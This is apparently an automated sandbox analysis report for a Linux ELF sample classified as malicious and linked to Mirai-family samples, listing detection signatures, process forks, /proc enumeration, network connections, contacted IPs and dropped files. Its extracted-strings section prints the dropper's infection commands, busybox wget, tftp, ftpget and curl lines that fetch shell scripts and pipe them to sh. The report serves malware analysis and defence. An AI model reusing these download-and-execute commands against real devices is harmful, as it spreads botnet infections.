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Linux Analysis Report
xobftuootu.elf

Overview

General Information

Sample name:	xobftuootu.elf
Analysis ID:	1564159
MD5:	e973b0dc8cc55e90d8cac20cf152e679
SHA1:	f126ac6385d322c8e3ffb34d5eef42777870a85f
SHA256:	47766174022cd4d417a0a5c6dee26d2fe7ceb757ea3ea477888dbb18e766e01c
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Sample reads /proc/mounts (often used for finding a writable filesystem)

Uses STUN server to do NAT traversial

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564159
Start date and time:	2024-11-27 22:37:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	xobftuootu.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/123@1/0

Runtime Messages

Command:	/tmp/xobftuootu.elf
PID:	5484
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	snow slide
Standard Error:

Process Tree

system is lnxubuntu20

xobftuootu.elf (PID: 5484, Parent: 5408, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/xobftuootu.elf

xobftuootu.elf New Fork (PID: 5486, Parent: 5484)

xobftuootu.elf New Fork (PID: 5491, Parent: 5486)

xobftuootu.elf New Fork (PID: 5502, Parent: 5486)

xobftuootu.elf New Fork (PID: 5521, Parent: 5486)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: xobftuootu.elf

ReversingLabs: Detection: 28%

Source: xobftuootu.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- | shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: global traffic	TCP traffic: 192.168.2.14:46980 -> 212.192.12.119:8001
Source: global traffic	UDP traffic: 192.168.2.14:42774 -> 74.125.250.129:19302

Source: unknown	TCP traffic detected without corresponding DNS query: 194.12.55.127
Source: unknown	TCP traffic detected without corresponding DNS query: 66.129.146.161
Source: unknown	TCP traffic detected without corresponding DNS query: 79.140.3.204
Source: unknown	TCP traffic detected without corresponding DNS query: 26.214.182.158
Source: unknown	TCP traffic detected without corresponding DNS query: 24.224.107.229
Source: unknown	TCP traffic detected without corresponding DNS query: 173.200.47.0
Source: unknown	TCP traffic detected without corresponding DNS query: 196.140.98.22
Source: unknown	TCP traffic detected without corresponding DNS query: 41.75.156.82
Source: unknown	TCP traffic detected without corresponding DNS query: 145.28.65.147
Source: unknown	TCP traffic detected without corresponding DNS query: 158.0.161.165
Source: unknown	TCP traffic detected without corresponding DNS query: 80.39.151.32
Source: unknown	TCP traffic detected without corresponding DNS query: 180.141.41.132
Source: unknown	TCP traffic detected without corresponding DNS query: 119.219.179.36
Source: unknown	TCP traffic detected without corresponding DNS query: 73.5.182.211
Source: unknown	TCP traffic detected without corresponding DNS query: 19.250.136.185
Source: unknown	TCP traffic detected without corresponding DNS query: 139.71.30.87
Source: unknown	TCP traffic detected without corresponding DNS query: 17.176.234.38
Source: unknown	TCP traffic detected without corresponding DNS query: 191.153.4.176
Source: unknown	TCP traffic detected without corresponding DNS query: 129.241.125.24
Source: unknown	TCP traffic detected without corresponding DNS query: 201.250.61.196
Source: unknown	TCP traffic detected without corresponding DNS query: 186.201.242.199
Source: unknown	TCP traffic detected without corresponding DNS query: 18.46.214.187
Source: unknown	TCP traffic detected without corresponding DNS query: 140.207.71.173
Source: unknown	TCP traffic detected without corresponding DNS query: 201.6.12.223
Source: unknown	TCP traffic detected without corresponding DNS query: 46.98.225.200
Source: unknown	TCP traffic detected without corresponding DNS query: 46.0.97.232
Source: unknown	TCP traffic detected without corresponding DNS query: 192.42.253.76
Source: unknown	TCP traffic detected without corresponding DNS query: 26.1.188.11
Source: unknown	TCP traffic detected without corresponding DNS query: 66.112.23.94
Source: unknown	TCP traffic detected without corresponding DNS query: 57.161.86.151
Source: unknown	TCP traffic detected without corresponding DNS query: 209.167.71.132
Source: unknown	TCP traffic detected without corresponding DNS query: 81.27.228.131
Source: unknown	TCP traffic detected without corresponding DNS query: 55.175.65.3
Source: unknown	TCP traffic detected without corresponding DNS query: 136.228.81.4
Source: unknown	TCP traffic detected without corresponding DNS query: 150.117.206.156
Source: unknown	TCP traffic detected without corresponding DNS query: 138.160.142.69
Source: unknown	TCP traffic detected without corresponding DNS query: 114.17.33.94
Source: unknown	TCP traffic detected without corresponding DNS query: 194.12.55.127
Source: unknown	TCP traffic detected without corresponding DNS query: 43.206.126.57
Source: unknown	TCP traffic detected without corresponding DNS query: 136.42.143.165
Source: unknown	TCP traffic detected without corresponding DNS query: 222.63.142.207
Source: unknown	TCP traffic detected without corresponding DNS query: 70.195.128.193
Source: unknown	TCP traffic detected without corresponding DNS query: 181.167.48.161
Source: unknown	TCP traffic detected without corresponding DNS query: 119.227.235.18
Source: unknown	TCP traffic detected without corresponding DNS query: 132.6.221.96
Source: unknown	TCP traffic detected without corresponding DNS query: 71.192.226.110
Source: unknown	TCP traffic detected without corresponding DNS query: 159.252.77.21
Source: unknown	TCP traffic detected without corresponding DNS query: 124.140.47.245
Source: unknown	TCP traffic detected without corresponding DNS query: 40.81.2.110
Source: unknown	TCP traffic detected without corresponding DNS query: 162.58.50.105

Source: xobftuootu.elf	String found in binary or memory: http:///curl.sh
Source: xobftuootu.elf	String found in binary or memory: http:///telnet.sh

Source: Initial sample	String containing 'busybox' found: busybox cat /proc/self/cmdline
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /telnet.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: busybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shbusybox cat /proc/self/cmdline/bin/busybox echo > .b && sh .b && cd /bin/busybox wget http:///telnet.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh; curl http:///curl.sh -o- \| shbusybox chmod 777 udhcpd; ./udhcpd; ./dvrEncoder telnet/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4busyboxcat

Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3761/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3762/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3763/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/xobftuootu.elf (PID: 5502)	File opened: /proc/262/cmdline	Jump to behavior

Source: xobftuootu.elf, 5484.1.0000562637f1e000.000056263804c000.rw-.sdmp	Binary or memory string: 7&V!/etc/qemu-binfmt/arm
Source: xobftuootu.elf, 5484.1.00007ffd57a7c000.00007ffd57a9d000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/xobftuootu.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/xobftuootu.elf
Source: xobftuootu.elf, 5484.1.0000562637f1e000.000056263804c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: xobftuootu.elf, 5484.1.00007ffd57a7c000.00007ffd57a9d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	Source	Malicious	Antivirus Detection	Reputation
http:///telnet.sh	xobftuootu.elf	false		high
http:///curl.sh	xobftuootu.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
199.155.180.16	unknown	United States	4152	USDA-1US	false
68.23.128.173	unknown	United States	7018	ATT-INTERNET4US	false
139.66.166.95	unknown	Germany	9905	LINKNET-ID-APLinknetASNID	false
119.156.64.208	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
118.85.23.186	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
209.191.24.93	unknown	United States	7078	MONMOUTHUS	false
77.147.56.35	unknown	France	15557	LDCOMNETFR	false
222.114.43.99	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
185.132.18.163	unknown	Switzerland	21232	GGAMAURCH	false
126.139.53.40	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
149.115.34.148	unknown	United States	188	SAIC-ASUS	false
187.161.53.204	unknown	Mexico	11888	TelevisionInternacionalSAdeCVMX	false
44.28.85.112	unknown	United States	7377	UCSDUS	false
128.148.135.74	unknown	United States	11078	BROWNUS	false
136.42.143.165	unknown	United States	16591	GOOGLE-FIBERUS	false
142.254.138.8	unknown	United States	11427	TWC-11427-TEXASUS	false
47.87.1.85	unknown	United States	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
74.94.46.227	unknown	United States	7922	COMCAST-7922US	false
156.46.56.178	unknown	United States	3527	NIH-NETUS	false
123.250.82.114	unknown	Korea Republic of	9845	CJCKN-AS-KRLGHelloVisionCorpKR	false
104.0.210.24	unknown	United States	7018	ATT-INTERNET4US	false
206.152.223.83	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
25.185.189.167	unknown	United Kingdom	7922	COMCAST-7922US	false
40.49.60.102	unknown	United States	4249	LILLY-ASUS	false
206.15.249.245	unknown	United States	2152	CSUNET-NWUS	false
151.227.197.63	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
26.112.185.91	unknown	United States	7922	COMCAST-7922US	false
204.87.4.231	unknown	United States	81	NCRENUS	false
59.19.24.219	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
72.250.157.210	unknown	United States	11961	MIDRIVERSUS	false
156.92.102.91	unknown	United States	10695	WAL-MARTUS	false
112.192.144.34	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
196.106.152.208	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
89.64.196.205	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
99.69.88.119	unknown	United States	7018	ATT-INTERNET4US	false
180.202.151.141	unknown	China	9814	FIBRLINKBeijingFibrLINKNetworksCoLtdCN	false
153.51.39.138	unknown	United States	14962	NCR-252US	false
186.222.54.84	unknown	Brazil	28573	CLAROSABR	false
54.223.114.67	unknown	China	55960	BJ-GUANGHUAN-APBeijingGuanghuanXinwangDigitalCN	false
48.198.211.83	unknown	United States	2686	ATGS-MMD-ASUS	false
108.66.128.189	unknown	United States	7018	ATT-INTERNET4US	false
187.93.233.186	unknown	Brazil	10429	TELEFONICABRASILSABR	false
119.183.33.36	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
131.22.137.97	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
121.158.167.159	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
57.19.73.231	unknown	Belgium	2686	ATGS-MMD-ASUS	false
68.71.80.107	unknown	United States	14701	ELEMENTEKUS	false
68.141.225.53	unknown	United States	701	UUNETUS	false
11.248.180.153	unknown	United States	3356	LEVEL3US	false
57.86.109.101	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
141.160.164.80	unknown	United States	197921	HBTFJO	false
24.104.34.163	unknown	United States	7922	COMCAST-7922US	false
77.174.50.234	unknown	Netherlands	12871	NL-CONCEPTSNL	false
115.232.253.86	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
69.151.201.116	unknown	United States	7018	ATT-INTERNET4US	false
57.203.162.11	unknown	Belgium	2686	ATGS-MMD-ASUS	false
139.213.118.4	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
200.187.76.209	unknown	Brazil	265262	SkymailServicosdeComputacaoeProvimentodeInfBR	false
124.238.199.166	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
215.98.69.134	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
64.133.80.186	unknown	United States	1239	SPRINTLINKUS	false
98.56.124.130	unknown	United States	7922	COMCAST-7922US	false
186.146.231.82	unknown	Colombia	10620	TelmexColombiaSACO	false
220.205.29.209	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
220.83.254.104	unknown	Korea Republic of	18035	HSU18035-AS-KRHANSEOUNIVERSITYKR	false
113.93.122.239	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
110.14.27.56	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
143.17.229.58	unknown	United States	11003	PANDGUS	false
206.172.139.248	unknown	Canada	577	BACOMCA	false
195.168.164.3	unknown	Slovakia (SLOVAK Republic)	5578	AS-BENESTRABratislavaSlovakRepublicSK	false
114.27.120.221	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
106.135.177.3	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
90.38.3.186	unknown	France	3215	FranceTelecom-OrangeFR	false
8.147.123.164	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
16.6.48.245	unknown	United States	unknown	unknown	false
91.164.34.166	unknown	France	12322	PROXADFR	false
120.66.161.76	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
18.45.48.187	unknown	United States	3	MIT-GATEWAYSUS	false
167.91.3.127	unknown	United States	394167	DALLASISDUS	false
21.194.117.57	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
95.248.191.224	unknown	Italy	3269	ASN-IBSNAZIT	false
212.6.34.113	unknown	unknown	207533	DK-RMGDK	false
192.18.23.17	unknown	United States	43894	ORCL-LON-OPC1GB	false
129.241.125.24	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
81.253.56.15	unknown	France	28708	ORANGEFR-PORTAL-ASDSImutualizedinternetaccessFR	false
118.132.162.105	unknown	China	9812	CNNIC-CN-COLNETOrientalCableNetworkCoLtdCN	false
143.45.53.221	unknown	United States	1649	DNIC-AS-01649US	false
181.151.128.160	unknown	Colombia	26611	COMCELSACO	false
59.115.210.112	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
70.208.211.162	unknown	United States	6167	CELLCO-PARTUS	false
169.74.30.93	unknown	United States	37611	AfrihostZA	false
219.142.213.0	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
86.149.65.28	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
36.63.40.136	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
84.148.181.27	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
23.109.157.157	unknown	Netherlands	7979	SERVERS-COMUS	false
33.145.206.233	unknown	United States	2686	ATGS-MMD-ASUS	false
222.221.6.49	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
129.89.93.161	unknown	United States	7050	UW-MILWAUKEE-AS1US	false
215.39.160.137	unknown	United States	721	DNIC-ASBLK-00721-00726US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
44.28.85.112	0rCuYpRx6M.elf	Get hash	malicious	Mirai	Browse
126.139.53.40	H6ccnU1094.elf	Get hash	malicious	Mirai, Okiru	Browse
126.139.53.40	kCCOL9EXIT.elf	Get hash	malicious	Mirai	Browse
104.0.210.24	jKWf43eQS6.elf	Get hash	malicious	Mirai	Browse

Process:	/tmp/xobftuootu.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.546439344671015
Encrypted:	false
SSDEEP:	3:TgIjRf05n:TgIp05
MD5:	D2F788165097B8343E346519C8BF1DE9
SHA1:	BEA74C2A5C694F0C03F5B5574235C01826C04A09
SHA-256:	AB82C52A2EA5D17ADAC7E71CCB287AAB8D72D92078999DD0DFB6F35BE6EDC070
SHA-512:	121489F85C274971C7E8A3B14C4FCB2D7917B071A8B26CA11B7FC49B35F1F8FD8963AA4437550BC5E384771CB61CDA25E921912088A3746FF811B2F8F3319A5A
Malicious:	false
Reputation:	low
Preview:	/tmp/xobftuootu.elf.

Process:	/tmp/xobftuootu.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.546439344671015
Encrypted:	false
SSDEEP:	3:TgIjRf05n:TgIp05
MD5:	D2F788165097B8343E346519C8BF1DE9
SHA1:	BEA74C2A5C694F0C03F5B5574235C01826C04A09
SHA-256:	AB82C52A2EA5D17ADAC7E71CCB287AAB8D72D92078999DD0DFB6F35BE6EDC070
SHA-512:	121489F85C274971C7E8A3B14C4FCB2D7917B071A8B26CA11B7FC49B35F1F8FD8963AA4437550BC5E384771CB61CDA25E921912088A3746FF811B2F8F3319A5A
Malicious:	false
Reputation:	low
Preview:	/tmp/xobftuootu.elf.

Process:	/tmp/xobftuootu.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.546439344671015
Encrypted:	false
SSDEEP:	3:TgIjRf05n:TgIp05
MD5:	D2F788165097B8343E346519C8BF1DE9
SHA1:	BEA74C2A5C694F0C03F5B5574235C01826C04A09
